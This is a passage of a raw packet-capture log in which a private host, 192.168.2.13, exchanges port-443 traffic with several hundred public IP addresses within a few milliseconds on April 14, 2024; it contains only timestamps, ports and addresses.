Apr 14, 2024 03:59:49.688234091 CEST	1607	443	192.168.2.13	5.162.117.160
Apr 14, 2024 03:59:49.688241959 CEST	1607	443	192.168.2.13	5.135.63.65
Apr 14, 2024 03:59:49.688257933 CEST	1607	443	192.168.2.13	37.24.17.62
Apr 14, 2024 03:59:49.688277006 CEST	1607	443	192.168.2.13	148.87.252.0
Apr 14, 2024 03:59:49.688282013 CEST	1607	443	192.168.2.13	109.173.81.97
Apr 14, 2024 03:59:49.688283920 CEST	443	1607	148.87.252.0	192.168.2.13
Apr 14, 2024 03:59:49.688291073 CEST	1607	443	192.168.2.13	123.128.75.135
Apr 14, 2024 03:59:49.688298941 CEST	443	1607	109.173.81.97	192.168.2.13
Apr 14, 2024 03:59:49.688298941 CEST	443	1607	123.128.75.135	192.168.2.13
Apr 14, 2024 03:59:49.688303947 CEST	1607	443	192.168.2.13	42.201.188.45
Apr 14, 2024 03:59:49.688303947 CEST	1607	443	192.168.2.13	5.185.231.124
Apr 14, 2024 03:59:49.688313007 CEST	443	1607	42.201.188.45	192.168.2.13
Apr 14, 2024 03:59:49.688313007 CEST	1607	443	192.168.2.13	178.120.251.32
Apr 14, 2024 03:59:49.688325882 CEST	1607	443	192.168.2.13	148.87.252.0
Apr 14, 2024 03:59:49.688325882 CEST	1607	443	192.168.2.13	123.128.75.135
Apr 14, 2024 03:59:49.688325882 CEST	443	1607	5.185.231.124	192.168.2.13
Apr 14, 2024 03:59:49.688334942 CEST	443	1607	178.120.251.32	192.168.2.13
Apr 14, 2024 03:59:49.688344002 CEST	1607	443	192.168.2.13	210.232.190.133
Apr 14, 2024 03:59:49.688350916 CEST	443	1607	210.232.190.133	192.168.2.13
Apr 14, 2024 03:59:49.688350916 CEST	1607	443	192.168.2.13	109.173.81.97
Apr 14, 2024 03:59:49.688357115 CEST	1607	443	192.168.2.13	2.23.217.242
Apr 14, 2024 03:59:49.688364029 CEST	443	1607	2.23.217.242	192.168.2.13
Apr 14, 2024 03:59:49.688366890 CEST	1607	443	192.168.2.13	42.201.188.45
Apr 14, 2024 03:59:49.688380003 CEST	1607	443	192.168.2.13	5.185.231.124
Apr 14, 2024 03:59:49.688388109 CEST	1607	443	192.168.2.13	178.120.251.32
Apr 14, 2024 03:59:49.688510895 CEST	1607	443	192.168.2.13	2.23.217.242
Apr 14, 2024 03:59:49.688548088 CEST	1607	443	192.168.2.13	123.105.163.160
Apr 14, 2024 03:59:49.688553095 CEST	1607	443	192.168.2.13	94.48.78.160
Apr 14, 2024 03:59:49.688556910 CEST	1607	443	192.168.2.13	210.232.190.133
Apr 14, 2024 03:59:49.688560009 CEST	443	1607	123.105.163.160	192.168.2.13
Apr 14, 2024 03:59:49.688560963 CEST	1607	443	192.168.2.13	118.37.165.100
Apr 14, 2024 03:59:49.688570023 CEST	1607	443	192.168.2.13	210.71.222.105
Apr 14, 2024 03:59:49.688570976 CEST	443	1607	118.37.165.100	192.168.2.13
Apr 14, 2024 03:59:49.688576937 CEST	443	1607	210.71.222.105	192.168.2.13
Apr 14, 2024 03:59:49.688580990 CEST	1607	443	192.168.2.13	42.210.139.113
Apr 14, 2024 03:59:49.688580990 CEST	1607	443	192.168.2.13	210.100.254.110
Apr 14, 2024 03:59:49.688587904 CEST	443	1607	94.48.78.160	192.168.2.13
Apr 14, 2024 03:59:49.688590050 CEST	443	1607	42.210.139.113	192.168.2.13
Apr 14, 2024 03:59:49.688594103 CEST	1607	443	192.168.2.13	123.105.163.160
Apr 14, 2024 03:59:49.688601971 CEST	443	1607	210.100.254.110	192.168.2.13
Apr 14, 2024 03:59:49.688604116 CEST	1607	443	192.168.2.13	118.37.165.100
Apr 14, 2024 03:59:49.688605070 CEST	1607	443	192.168.2.13	123.147.21.13
Apr 14, 2024 03:59:49.688615084 CEST	1607	443	192.168.2.13	210.71.222.105
Apr 14, 2024 03:59:49.688626051 CEST	1607	443	192.168.2.13	94.48.78.160
Apr 14, 2024 03:59:49.688627958 CEST	443	1607	123.147.21.13	192.168.2.13
Apr 14, 2024 03:59:49.688644886 CEST	1607	443	192.168.2.13	212.130.110.249
Apr 14, 2024 03:59:49.688646078 CEST	1607	443	192.168.2.13	123.173.191.127
Apr 14, 2024 03:59:49.688644886 CEST	1607	443	192.168.2.13	42.210.139.113
Apr 14, 2024 03:59:49.688644886 CEST	1607	443	192.168.2.13	210.100.254.110
Apr 14, 2024 03:59:49.688646078 CEST	1607	443	192.168.2.13	109.202.221.184
Apr 14, 2024 03:59:49.688653946 CEST	443	1607	123.173.191.127	192.168.2.13
Apr 14, 2024 03:59:49.688661098 CEST	443	1607	212.130.110.249	192.168.2.13
Apr 14, 2024 03:59:49.688662052 CEST	443	1607	109.202.221.184	192.168.2.13
Apr 14, 2024 03:59:49.688666105 CEST	1607	443	192.168.2.13	37.185.92.78
Apr 14, 2024 03:59:49.688668966 CEST	1607	443	192.168.2.13	148.155.56.159
Apr 14, 2024 03:59:49.688673973 CEST	443	1607	37.185.92.78	192.168.2.13
Apr 14, 2024 03:59:49.688674927 CEST	1607	443	192.168.2.13	123.147.21.13
Apr 14, 2024 03:59:49.688676119 CEST	443	1607	148.155.56.159	192.168.2.13
Apr 14, 2024 03:59:49.688690901 CEST	1607	443	192.168.2.13	123.173.191.127
Apr 14, 2024 03:59:49.688695908 CEST	1607	443	192.168.2.13	37.185.92.78
Apr 14, 2024 03:59:49.688708067 CEST	1607	443	192.168.2.13	212.130.110.249
Apr 14, 2024 03:59:49.688709974 CEST	1607	443	192.168.2.13	109.202.221.184
Apr 14, 2024 03:59:49.688709974 CEST	1607	443	192.168.2.13	148.155.56.159
Apr 14, 2024 03:59:49.688734055 CEST	1607	443	192.168.2.13	123.79.200.177
Apr 14, 2024 03:59:49.688740969 CEST	443	1607	123.79.200.177	192.168.2.13
Apr 14, 2024 03:59:49.688757896 CEST	1607	443	192.168.2.13	148.235.50.89
Apr 14, 2024 03:59:49.688760996 CEST	1607	443	192.168.2.13	94.245.60.221
Apr 14, 2024 03:59:49.688774109 CEST	443	1607	148.235.50.89	192.168.2.13
Apr 14, 2024 03:59:49.688776970 CEST	443	1607	94.245.60.221	192.168.2.13
Apr 14, 2024 03:59:49.688792944 CEST	1607	443	192.168.2.13	42.17.19.230
Apr 14, 2024 03:59:49.688792944 CEST	1607	443	192.168.2.13	2.192.24.118
Apr 14, 2024 03:59:49.688796043 CEST	1607	443	192.168.2.13	118.200.172.38
Apr 14, 2024 03:59:49.688796043 CEST	1607	443	192.168.2.13	202.89.113.159
Apr 14, 2024 03:59:49.688797951 CEST	1607	443	192.168.2.13	123.79.200.177
Apr 14, 2024 03:59:49.688802004 CEST	443	1607	2.192.24.118	192.168.2.13
Apr 14, 2024 03:59:49.688808918 CEST	443	1607	42.17.19.230	192.168.2.13
Apr 14, 2024 03:59:49.688808918 CEST	443	1607	118.200.172.38	192.168.2.13
Apr 14, 2024 03:59:49.688810110 CEST	1607	443	192.168.2.13	148.235.50.89
Apr 14, 2024 03:59:49.688812971 CEST	1607	443	192.168.2.13	94.245.60.221
Apr 14, 2024 03:59:49.688819885 CEST	443	1607	202.89.113.159	192.168.2.13
Apr 14, 2024 03:59:49.688829899 CEST	1607	443	192.168.2.13	109.38.158.232
Apr 14, 2024 03:59:49.688839912 CEST	443	1607	109.38.158.232	192.168.2.13
Apr 14, 2024 03:59:49.688843966 CEST	1607	443	192.168.2.13	42.17.19.230
Apr 14, 2024 03:59:49.688849926 CEST	1607	443	192.168.2.13	2.192.24.118
Apr 14, 2024 03:59:49.688858032 CEST	1607	443	192.168.2.13	118.200.172.38
Apr 14, 2024 03:59:49.688858032 CEST	1607	443	192.168.2.13	202.89.113.159
Apr 14, 2024 03:59:49.688889027 CEST	1607	443	192.168.2.13	109.38.158.232
Apr 14, 2024 03:59:49.688908100 CEST	1607	443	192.168.2.13	5.224.234.251
Apr 14, 2024 03:59:49.688908100 CEST	1607	443	192.168.2.13	123.31.234.58
Apr 14, 2024 03:59:49.688911915 CEST	1607	443	192.168.2.13	5.44.88.85
Apr 14, 2024 03:59:49.688920021 CEST	443	1607	5.44.88.85	192.168.2.13
Apr 14, 2024 03:59:49.688927889 CEST	443	1607	5.224.234.251	192.168.2.13
Apr 14, 2024 03:59:49.688946009 CEST	1607	443	192.168.2.13	202.220.194.113
Apr 14, 2024 03:59:49.688949108 CEST	1607	443	192.168.2.13	94.31.219.53
Apr 14, 2024 03:59:49.688954115 CEST	1607	443	192.168.2.13	79.25.197.218
Apr 14, 2024 03:59:49.688956976 CEST	443	1607	94.31.219.53	192.168.2.13
Apr 14, 2024 03:59:49.688956976 CEST	443	1607	202.220.194.113	192.168.2.13
Apr 14, 2024 03:59:49.688957930 CEST	1607	443	192.168.2.13	5.44.88.85
Apr 14, 2024 03:59:49.688967943 CEST	443	1607	123.31.234.58	192.168.2.13
Apr 14, 2024 03:59:49.688968897 CEST	1607	443	192.168.2.13	212.179.100.137
Apr 14, 2024 03:59:49.688971043 CEST	1607	443	192.168.2.13	42.255.64.125
Apr 14, 2024 03:59:49.688971043 CEST	1607	443	192.168.2.13	42.125.151.138
Apr 14, 2024 03:59:49.688971043 CEST	1607	443	192.168.2.13	117.86.113.222
Apr 14, 2024 03:59:49.688970089 CEST	443	1607	79.25.197.218	192.168.2.13
Apr 14, 2024 03:59:49.688977957 CEST	443	1607	42.255.64.125	192.168.2.13
Apr 14, 2024 03:59:49.688978910 CEST	443	1607	212.179.100.137	192.168.2.13
Apr 14, 2024 03:59:49.688982010 CEST	443	1607	42.125.151.138	192.168.2.13
Apr 14, 2024 03:59:49.688993931 CEST	443	1607	117.86.113.222	192.168.2.13
Apr 14, 2024 03:59:49.688994884 CEST	1607	443	192.168.2.13	94.31.219.53
Apr 14, 2024 03:59:49.688997984 CEST	1607	443	192.168.2.13	202.220.194.113
Apr 14, 2024 03:59:49.688997984 CEST	1607	443	192.168.2.13	212.18.232.230
Apr 14, 2024 03:59:49.688997984 CEST	1607	443	192.168.2.13	2.208.28.92
Apr 14, 2024 03:59:49.688997984 CEST	1607	443	192.168.2.13	79.43.42.228
Apr 14, 2024 03:59:49.688997984 CEST	1607	443	192.168.2.13	212.20.133.212
Apr 14, 2024 03:59:49.688998938 CEST	1607	443	192.168.2.13	5.224.234.251
Apr 14, 2024 03:59:49.689018011 CEST	1607	443	192.168.2.13	79.25.197.218
Apr 14, 2024 03:59:49.689022064 CEST	1607	443	192.168.2.13	42.125.151.138
Apr 14, 2024 03:59:49.689030886 CEST	1607	443	192.168.2.13	212.179.100.137
Apr 14, 2024 03:59:49.689033031 CEST	443	1607	212.18.232.230	192.168.2.13
Apr 14, 2024 03:59:49.689037085 CEST	1607	443	192.168.2.13	117.86.113.222
Apr 14, 2024 03:59:49.689045906 CEST	1607	443	192.168.2.13	42.255.64.125
Apr 14, 2024 03:59:49.689054966 CEST	443	1607	2.208.28.92	192.168.2.13
Apr 14, 2024 03:59:49.689065933 CEST	443	1607	79.43.42.228	192.168.2.13
Apr 14, 2024 03:59:49.689089060 CEST	443	1607	212.20.133.212	192.168.2.13
Apr 14, 2024 03:59:49.689091921 CEST	1607	443	192.168.2.13	42.43.210.225
Apr 14, 2024 03:59:49.689107895 CEST	443	1607	42.43.210.225	192.168.2.13
Apr 14, 2024 03:59:49.689119101 CEST	1607	443	192.168.2.13	123.31.234.58
Apr 14, 2024 03:59:49.689119101 CEST	1607	443	192.168.2.13	212.18.232.230
Apr 14, 2024 03:59:49.689119101 CEST	1607	443	192.168.2.13	210.128.227.205
Apr 14, 2024 03:59:49.689119101 CEST	1607	443	192.168.2.13	2.208.28.92
Apr 14, 2024 03:59:49.689119101 CEST	1607	443	192.168.2.13	79.43.42.228
Apr 14, 2024 03:59:49.689124107 CEST	1607	443	192.168.2.13	202.198.114.163
Apr 14, 2024 03:59:49.689131975 CEST	443	1607	202.198.114.163	192.168.2.13
Apr 14, 2024 03:59:49.689158916 CEST	1607	443	192.168.2.13	118.33.16.70
Apr 14, 2024 03:59:49.689162970 CEST	1607	443	192.168.2.13	42.43.210.225
Apr 14, 2024 03:59:49.689162970 CEST	1607	443	192.168.2.13	178.100.206.62
Apr 14, 2024 03:59:49.689173937 CEST	1607	443	192.168.2.13	202.198.114.163
Apr 14, 2024 03:59:49.689173937 CEST	443	1607	210.128.227.205	192.168.2.13
Apr 14, 2024 03:59:49.689183950 CEST	443	1607	178.100.206.62	192.168.2.13
Apr 14, 2024 03:59:49.689189911 CEST	443	1607	118.33.16.70	192.168.2.13
Apr 14, 2024 03:59:49.689205885 CEST	1607	443	192.168.2.13	210.205.253.42
Apr 14, 2024 03:59:49.689213037 CEST	443	1607	210.205.253.42	192.168.2.13
Apr 14, 2024 03:59:49.689213991 CEST	1607	443	192.168.2.13	212.20.133.212
Apr 14, 2024 03:59:49.689213991 CEST	1607	443	192.168.2.13	148.134.174.167
Apr 14, 2024 03:59:49.689215899 CEST	1607	443	192.168.2.13	2.213.245.42
Apr 14, 2024 03:59:49.689213991 CEST	1607	443	192.168.2.13	210.128.227.205
Apr 14, 2024 03:59:49.689224958 CEST	443	1607	2.213.245.42	192.168.2.13
Apr 14, 2024 03:59:49.689232111 CEST	1607	443	192.168.2.13	178.100.206.62
Apr 14, 2024 03:59:49.689234972 CEST	1607	443	192.168.2.13	118.33.16.70
Apr 14, 2024 03:59:49.689234972 CEST	1607	443	192.168.2.13	210.205.253.42
Apr 14, 2024 03:59:49.689238071 CEST	443	1607	148.134.174.167	192.168.2.13
Apr 14, 2024 03:59:49.689250946 CEST	1607	443	192.168.2.13	148.70.184.208
Apr 14, 2024 03:59:49.689259052 CEST	443	1607	148.70.184.208	192.168.2.13
Apr 14, 2024 03:59:49.689260006 CEST	1607	443	192.168.2.13	2.213.245.42
Apr 14, 2024 03:59:49.689261913 CEST	1607	443	192.168.2.13	123.222.106.201
Apr 14, 2024 03:59:49.689263105 CEST	1607	443	192.168.2.13	212.153.115.76
Apr 14, 2024 03:59:49.689264059 CEST	1607	443	192.168.2.13	2.68.233.145
Apr 14, 2024 03:59:49.689270020 CEST	443	1607	123.222.106.201	192.168.2.13
Apr 14, 2024 03:59:49.689289093 CEST	443	1607	212.153.115.76	192.168.2.13
Apr 14, 2024 03:59:49.689300060 CEST	1607	443	192.168.2.13	123.222.106.201
Apr 14, 2024 03:59:49.689301968 CEST	1607	443	192.168.2.13	148.70.184.208
Apr 14, 2024 03:59:49.689311981 CEST	443	1607	2.68.233.145	192.168.2.13
Apr 14, 2024 03:59:49.689327002 CEST	1607	443	192.168.2.13	148.180.42.149
Apr 14, 2024 03:59:49.689333916 CEST	1607	443	192.168.2.13	148.142.221.70
Apr 14, 2024 03:59:49.689333916 CEST	1607	443	192.168.2.13	123.32.0.193
Apr 14, 2024 03:59:49.689335108 CEST	1607	443	192.168.2.13	148.134.174.167
Apr 14, 2024 03:59:49.689335108 CEST	1607	443	192.168.2.13	212.153.115.76
Apr 14, 2024 03:59:49.689337969 CEST	1607	443	192.168.2.13	178.159.191.198
Apr 14, 2024 03:59:49.689342022 CEST	1607	443	192.168.2.13	42.133.156.107
Apr 14, 2024 03:59:49.689342976 CEST	443	1607	148.142.221.70	192.168.2.13
Apr 14, 2024 03:59:49.689344883 CEST	443	1607	178.159.191.198	192.168.2.13
Apr 14, 2024 03:59:49.689349890 CEST	443	1607	123.32.0.193	192.168.2.13
Apr 14, 2024 03:59:49.689356089 CEST	443	1607	148.180.42.149	192.168.2.13
Apr 14, 2024 03:59:49.689358950 CEST	1607	443	192.168.2.13	123.103.252.162
Apr 14, 2024 03:59:49.689358950 CEST	443	1607	42.133.156.107	192.168.2.13
Apr 14, 2024 03:59:49.689358950 CEST	1607	443	192.168.2.13	2.68.233.145
Apr 14, 2024 03:59:49.689359903 CEST	1607	443	192.168.2.13	109.238.186.106
Apr 14, 2024 03:59:49.689363003 CEST	1607	443	192.168.2.13	37.148.120.205
Apr 14, 2024 03:59:49.689363956 CEST	1607	443	192.168.2.13	79.23.13.26
Apr 14, 2024 03:59:49.689367056 CEST	443	1607	123.103.252.162	192.168.2.13
Apr 14, 2024 03:59:49.689368963 CEST	443	1607	109.238.186.106	192.168.2.13
Apr 14, 2024 03:59:49.689372063 CEST	443	1607	37.148.120.205	192.168.2.13
Apr 14, 2024 03:59:49.689378023 CEST	443	1607	79.23.13.26	192.168.2.13
Apr 14, 2024 03:59:49.689383030 CEST	1607	443	192.168.2.13	148.142.221.70
Apr 14, 2024 03:59:49.689383030 CEST	1607	443	192.168.2.13	123.32.0.193
Apr 14, 2024 03:59:49.689390898 CEST	1607	443	192.168.2.13	178.159.191.198
Apr 14, 2024 03:59:49.689390898 CEST	1607	443	192.168.2.13	148.180.42.149
Apr 14, 2024 03:59:49.689390898 CEST	1607	443	192.168.2.13	109.238.186.106
Apr 14, 2024 03:59:49.689404964 CEST	1607	443	192.168.2.13	123.103.252.162
Apr 14, 2024 03:59:49.689409971 CEST	1607	443	192.168.2.13	42.133.156.107
Apr 14, 2024 03:59:49.689420938 CEST	1607	443	192.168.2.13	37.148.120.205
Apr 14, 2024 03:59:49.689420938 CEST	1607	443	192.168.2.13	79.23.13.26
Apr 14, 2024 03:59:49.689448118 CEST	1607	443	192.168.2.13	2.107.105.17
Apr 14, 2024 03:59:49.689455032 CEST	1607	443	192.168.2.13	202.149.128.93
Apr 14, 2024 03:59:49.689455986 CEST	443	1607	2.107.105.17	192.168.2.13
Apr 14, 2024 03:59:49.689462900 CEST	443	1607	202.149.128.93	192.168.2.13
Apr 14, 2024 03:59:49.689474106 CEST	1607	443	192.168.2.13	5.123.46.209
Apr 14, 2024 03:59:49.689475060 CEST	1607	443	192.168.2.13	202.214.25.150
Apr 14, 2024 03:59:49.689481974 CEST	443	1607	5.123.46.209	192.168.2.13
Apr 14, 2024 03:59:49.689486027 CEST	443	1607	202.214.25.150	192.168.2.13
Apr 14, 2024 03:59:49.689491987 CEST	1607	443	192.168.2.13	79.132.44.67
Apr 14, 2024 03:59:49.689498901 CEST	443	1607	79.132.44.67	192.168.2.13
Apr 14, 2024 03:59:49.689501047 CEST	1607	443	192.168.2.13	202.149.128.93
Apr 14, 2024 03:59:49.689502001 CEST	1607	443	192.168.2.13	117.237.54.67
Apr 14, 2024 03:59:49.689502954 CEST	1607	443	192.168.2.13	2.107.105.17
Apr 14, 2024 03:59:49.689508915 CEST	1607	443	192.168.2.13	178.181.106.129
Apr 14, 2024 03:59:49.689508915 CEST	1607	443	192.168.2.13	5.123.46.209
Apr 14, 2024 03:59:49.689508915 CEST	1607	443	192.168.2.13	123.195.49.160
Apr 14, 2024 03:59:49.689512968 CEST	443	1607	117.237.54.67	192.168.2.13
Apr 14, 2024 03:59:49.689519882 CEST	443	1607	178.181.106.129	192.168.2.13
Apr 14, 2024 03:59:49.689531088 CEST	443	1607	123.195.49.160	192.168.2.13
Apr 14, 2024 03:59:49.689531088 CEST	1607	443	192.168.2.13	202.214.25.150
Apr 14, 2024 03:59:49.689531088 CEST	1607	443	192.168.2.13	79.132.44.67
Apr 14, 2024 03:59:49.689531088 CEST	1607	443	192.168.2.13	79.48.106.247
Apr 14, 2024 03:59:49.689547062 CEST	443	1607	79.48.106.247	192.168.2.13
Apr 14, 2024 03:59:49.689549923 CEST	1607	443	192.168.2.13	117.237.54.67
Apr 14, 2024 03:59:49.689563036 CEST	1607	443	192.168.2.13	178.181.106.129
Apr 14, 2024 03:59:49.689563990 CEST	1607	443	192.168.2.13	123.195.49.160
Apr 14, 2024 03:59:49.689579010 CEST	1607	443	192.168.2.13	5.64.57.190
Apr 14, 2024 03:59:49.689587116 CEST	443	1607	5.64.57.190	192.168.2.13
Apr 14, 2024 03:59:49.689596891 CEST	1607	443	192.168.2.13	79.48.106.247
Apr 14, 2024 03:59:49.689599991 CEST	1607	443	192.168.2.13	118.84.110.38
Apr 14, 2024 03:59:49.689606905 CEST	443	1607	118.84.110.38	192.168.2.13
Apr 14, 2024 03:59:49.689608097 CEST	1607	443	192.168.2.13	202.112.62.6
Apr 14, 2024 03:59:49.689620018 CEST	443	1607	202.112.62.6	192.168.2.13
Apr 14, 2024 03:59:49.689625978 CEST	1607	443	192.168.2.13	5.64.57.190
Apr 14, 2024 03:59:49.689636946 CEST	1607	443	192.168.2.13	118.84.110.38
Apr 14, 2024 03:59:49.689655066 CEST	1607	443	192.168.2.13	202.112.62.6
Apr 14, 2024 03:59:49.689683914 CEST	1607	443	192.168.2.13	123.37.99.246
Apr 14, 2024 03:59:49.689683914 CEST	1607	443	192.168.2.13	37.238.163.124
Apr 14, 2024 03:59:49.689694881 CEST	443	1607	123.37.99.246	192.168.2.13
Apr 14, 2024 03:59:49.689697027 CEST	1607	443	192.168.2.13	5.232.2.215
Apr 14, 2024 03:59:49.689701080 CEST	1607	443	192.168.2.13	117.203.8.63
Apr 14, 2024 03:59:49.689703941 CEST	443	1607	5.232.2.215	192.168.2.13
Apr 14, 2024 03:59:49.689713001 CEST	443	1607	117.203.8.63	192.168.2.13
Apr 14, 2024 03:59:49.689713955 CEST	443	1607	37.238.163.124	192.168.2.13
Apr 14, 2024 03:59:49.689723015 CEST	1607	443	192.168.2.13	5.40.31.133
Apr 14, 2024 03:59:49.689730883 CEST	1607	443	192.168.2.13	210.249.254.88
Apr 14, 2024 03:59:49.689730883 CEST	1607	443	192.168.2.13	79.45.187.166
Apr 14, 2024 03:59:49.689730883 CEST	1607	443	192.168.2.13	123.37.99.246
Apr 14, 2024 03:59:49.689732075 CEST	1607	443	192.168.2.13	5.232.2.215
Apr 14, 2024 03:59:49.689735889 CEST	1607	443	192.168.2.13	212.228.9.199
Apr 14, 2024 03:59:49.689735889 CEST	1607	443	192.168.2.13	202.236.88.128
Apr 14, 2024 03:59:49.689739943 CEST	443	1607	5.40.31.133	192.168.2.13
Apr 14, 2024 03:59:49.689740896 CEST	443	1607	210.249.254.88	192.168.2.13
Apr 14, 2024 03:59:49.689747095 CEST	443	1607	212.228.9.199	192.168.2.13
Apr 14, 2024 03:59:49.689753056 CEST	443	1607	79.45.187.166	192.168.2.13
Apr 14, 2024 03:59:49.689753056 CEST	1607	443	192.168.2.13	117.203.8.63
Apr 14, 2024 03:59:49.689758062 CEST	443	1607	202.236.88.128	192.168.2.13
Apr 14, 2024 03:59:49.689780951 CEST	1607	443	192.168.2.13	37.238.163.124
Apr 14, 2024 03:59:49.689780951 CEST	1607	443	192.168.2.13	210.249.254.88
Apr 14, 2024 03:59:49.689784050 CEST	1607	443	192.168.2.13	212.228.9.199
Apr 14, 2024 03:59:49.689784050 CEST	1607	443	192.168.2.13	202.236.88.128
Apr 14, 2024 03:59:49.689791918 CEST	1607	443	192.168.2.13	79.45.187.166
Apr 14, 2024 03:59:49.689799070 CEST	1607	443	192.168.2.13	5.40.31.133
Apr 14, 2024 03:59:49.689815998 CEST	1607	443	192.168.2.13	202.20.191.232
Apr 14, 2024 03:59:49.689824104 CEST	443	1607	202.20.191.232	192.168.2.13
Apr 14, 2024 03:59:49.689825058 CEST	1607	443	192.168.2.13	123.21.151.135
Apr 14, 2024 03:59:49.689836979 CEST	1607	443	192.168.2.13	42.109.197.184
Apr 14, 2024 03:59:49.689836979 CEST	1607	443	192.168.2.13	79.63.36.31
Apr 14, 2024 03:59:49.689846992 CEST	443	1607	123.21.151.135	192.168.2.13
Apr 14, 2024 03:59:49.689846992 CEST	1607	443	192.168.2.13	178.87.125.97
Apr 14, 2024 03:59:49.689847946 CEST	443	1607	42.109.197.184	192.168.2.13
Apr 14, 2024 03:59:49.689857006 CEST	443	1607	178.87.125.97	192.168.2.13
Apr 14, 2024 03:59:49.689861059 CEST	1607	443	192.168.2.13	202.20.191.232
Apr 14, 2024 03:59:49.689861059 CEST	443	1607	79.63.36.31	192.168.2.13
Apr 14, 2024 03:59:49.689882040 CEST	1607	443	192.168.2.13	148.221.151.44
Apr 14, 2024 03:59:49.689883947 CEST	1607	443	192.168.2.13	123.191.243.97
Apr 14, 2024 03:59:49.689883947 CEST	1607	443	192.168.2.13	123.21.151.135
Apr 14, 2024 03:59:49.689891100 CEST	443	1607	148.221.151.44	192.168.2.13
Apr 14, 2024 03:59:49.689891100 CEST	1607	443	192.168.2.13	42.109.197.184
Apr 14, 2024 03:59:49.689891100 CEST	1607	443	192.168.2.13	79.63.36.31
Apr 14, 2024 03:59:49.689897060 CEST	1607	443	192.168.2.13	178.87.125.97
Apr 14, 2024 03:59:49.689902067 CEST	443	1607	123.191.243.97	192.168.2.13
Apr 14, 2024 03:59:49.689917088 CEST	1607	443	192.168.2.13	178.219.154.59
Apr 14, 2024 03:59:49.689920902 CEST	1607	443	192.168.2.13	94.78.153.65
Apr 14, 2024 03:59:49.689924955 CEST	443	1607	178.219.154.59	192.168.2.13
Apr 14, 2024 03:59:49.689939022 CEST	1607	443	192.168.2.13	148.221.151.44
Apr 14, 2024 03:59:49.689940929 CEST	443	1607	94.78.153.65	192.168.2.13
Apr 14, 2024 03:59:49.689963102 CEST	1607	443	192.168.2.13	123.191.243.97
Apr 14, 2024 03:59:49.689973116 CEST	1607	443	192.168.2.13	42.208.74.162
Apr 14, 2024 03:59:49.689973116 CEST	1607	443	192.168.2.13	178.219.154.59
Apr 14, 2024 03:59:49.689975977 CEST	1607	443	192.168.2.13	178.235.157.96
Apr 14, 2024 03:59:49.689975977 CEST	1607	443	192.168.2.13	118.68.98.212
Apr 14, 2024 03:59:49.689985991 CEST	443	1607	178.235.157.96	192.168.2.13
Apr 14, 2024 03:59:49.689990997 CEST	443	1607	42.208.74.162	192.168.2.13
Apr 14, 2024 03:59:49.689996958 CEST	1607	443	192.168.2.13	94.78.153.65
Apr 14, 2024 03:59:49.690006971 CEST	443	1607	118.68.98.212	192.168.2.13
Apr 14, 2024 03:59:49.690007925 CEST	1607	443	192.168.2.13	5.208.15.93
Apr 14, 2024 03:59:49.690018892 CEST	443	1607	5.208.15.93	192.168.2.13
Apr 14, 2024 03:59:49.690022945 CEST	1607	443	192.168.2.13	178.235.157.96
Apr 14, 2024 03:59:49.690042973 CEST	1607	443	192.168.2.13	42.208.74.162
Apr 14, 2024 03:59:49.690043926 CEST	1607	443	192.168.2.13	118.68.98.212
Apr 14, 2024 03:59:49.690054893 CEST	1607	443	192.168.2.13	109.228.131.123
Apr 14, 2024 03:59:49.690067053 CEST	1607	443	192.168.2.13	5.208.15.93
Apr 14, 2024 03:59:49.690069914 CEST	443	1607	109.228.131.123	192.168.2.13
Apr 14, 2024 03:59:49.690103054 CEST	1607	443	192.168.2.13	109.39.114.186
Apr 14, 2024 03:59:49.690103054 CEST	1607	443	192.168.2.13	117.41.223.120
Apr 14, 2024 03:59:49.690109015 CEST	1607	443	192.168.2.13	109.228.131.123
Apr 14, 2024 03:59:49.690113068 CEST	443	1607	109.39.114.186	192.168.2.13
Apr 14, 2024 03:59:49.690124989 CEST	1607	443	192.168.2.13	37.94.175.65
Apr 14, 2024 03:59:49.690124989 CEST	443	1607	117.41.223.120	192.168.2.13
Apr 14, 2024 03:59:49.690135002 CEST	443	1607	37.94.175.65	192.168.2.13
Apr 14, 2024 03:59:49.690143108 CEST	1607	443	192.168.2.13	94.211.21.17
Apr 14, 2024 03:59:49.690143108 CEST	1607	443	192.168.2.13	37.115.189.79
Apr 14, 2024 03:59:49.690151930 CEST	443	1607	94.211.21.17	192.168.2.13
Apr 14, 2024 03:59:49.690155983 CEST	1607	443	192.168.2.13	109.39.114.186
Apr 14, 2024 03:59:49.690165043 CEST	1607	443	192.168.2.13	117.41.223.120
Apr 14, 2024 03:59:49.690165997 CEST	443	1607	37.115.189.79	192.168.2.13
Apr 14, 2024 03:59:49.690184116 CEST	1607	443	192.168.2.13	37.94.175.65
Apr 14, 2024 03:59:49.690222025 CEST	1607	443	192.168.2.13	94.211.21.17
Apr 14, 2024 03:59:49.690222025 CEST	1607	443	192.168.2.13	37.115.189.79
Apr 14, 2024 03:59:49.690243959 CEST	1607	443	192.168.2.13	148.30.61.71
Apr 14, 2024 03:59:49.690251112 CEST	443	1607	148.30.61.71	192.168.2.13
Apr 14, 2024 03:59:49.690267086 CEST	1607	443	192.168.2.13	178.164.118.10
Apr 14, 2024 03:59:49.690269947 CEST	1607	443	192.168.2.13	210.103.55.71
Apr 14, 2024 03:59:49.690269947 CEST	1607	443	192.168.2.13	178.72.235.74
Apr 14, 2024 03:59:49.690275908 CEST	1607	443	192.168.2.13	202.60.238.68
Apr 14, 2024 03:59:49.690275908 CEST	1607	443	192.168.2.13	117.11.77.200
Apr 14, 2024 03:59:49.690279961 CEST	443	1607	210.103.55.71	192.168.2.13
Apr 14, 2024 03:59:49.690284014 CEST	443	1607	178.164.118.10	192.168.2.13
Apr 14, 2024 03:59:49.690285921 CEST	1607	443	192.168.2.13	148.231.190.47
Apr 14, 2024 03:59:49.690288067 CEST	1607	443	192.168.2.13	148.30.61.71
Apr 14, 2024 03:59:49.690294027 CEST	443	1607	148.231.190.47	192.168.2.13
Apr 14, 2024 03:59:49.690295935 CEST	443	1607	202.60.238.68	192.168.2.13
Apr 14, 2024 03:59:49.690298080 CEST	443	1607	178.72.235.74	192.168.2.13
Apr 14, 2024 03:59:49.690310001 CEST	1607	443	192.168.2.13	109.184.194.246
Apr 14, 2024 03:59:49.690313101 CEST	1607	443	192.168.2.13	212.145.69.212
Apr 14, 2024 03:59:49.690316916 CEST	443	1607	117.11.77.200	192.168.2.13
Apr 14, 2024 03:59:49.690316916 CEST	443	1607	109.184.194.246	192.168.2.13
Apr 14, 2024 03:59:49.690320969 CEST	1607	443	192.168.2.13	178.164.118.10
Apr 14, 2024 03:59:49.690329075 CEST	443	1607	212.145.69.212	192.168.2.13
Apr 14, 2024 03:59:49.690331936 CEST	1607	443	192.168.2.13	148.231.190.47
